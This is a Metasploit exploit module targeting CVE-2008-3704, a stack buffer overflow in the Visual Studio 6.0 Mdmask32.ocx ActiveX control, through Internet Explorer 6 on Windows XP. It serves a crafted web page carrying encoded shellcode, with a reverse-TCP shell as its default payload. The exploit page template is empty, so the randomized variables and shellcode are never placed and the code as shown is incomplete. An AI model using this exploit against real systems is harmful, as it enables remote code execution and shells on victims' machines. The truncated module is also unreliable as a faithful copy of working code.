## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Microsoft Visual Studio 6.0. When passing a specially crafted string to the Mask parameter of the Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Symantec', # Discovery and PoC 'koshi', # Exploit 'MC' # Metasploit ], 'References' => [ [ 'BID', '30674' ], [ 'CVE', '2008-3704' ], [ 'CWE', '119' ], [ 'EDB', '6244' ], [ 'EDB', '6317' ], [ 'OSVDB', '47475' ], [ 'MSB', 'MS08-070' ], [ 'URL', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/44444' ], ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp', 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00" }, 'Platform' => 'win', 'Arch' => [ARCH_X86], 'Targets' => [ [ 'Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3', {} ] ], 'DisclosureDate' => '2008-08-13', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Masked Edit Control Memory Corruption Vulnerability'], 'Stability' => [CRASH_SERVICE_DOWN], 'SideEffects' => [], 'Reliability' => [UNRELIABLE_SESSION] } ) ) register_options( [ OptString.new('URIPATH', [ true, 'The server URI path to use.', '/' ]) ] ) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, _request) # Re-generate the payload. return if ((regenerate_payload(cli)).nil?) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Randomize the JavaScript variable names. var_i = rand_text_alpha(2..30) rand1 = rand_text_alpha(1..100) rand2 = rand_text_alpha(1..100) rand3 = rand_text_alpha(1..100) rand4 = rand_text_alpha(1..100) rand5 = rand_text_alpha(1..100) rand6 = rand_text_alpha(1..100) rand7 = rand_text_alpha(1..100) rand8 = rand_text_alpha(1..100) rand9 = rand_text_alpha(1..100) rand10 = rand_text_alpha(1..100) rand11 = rand_text_alpha(1..100) randnop = rand_text_alpha(1..100) content = %| | print_status("Sending #{name}") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end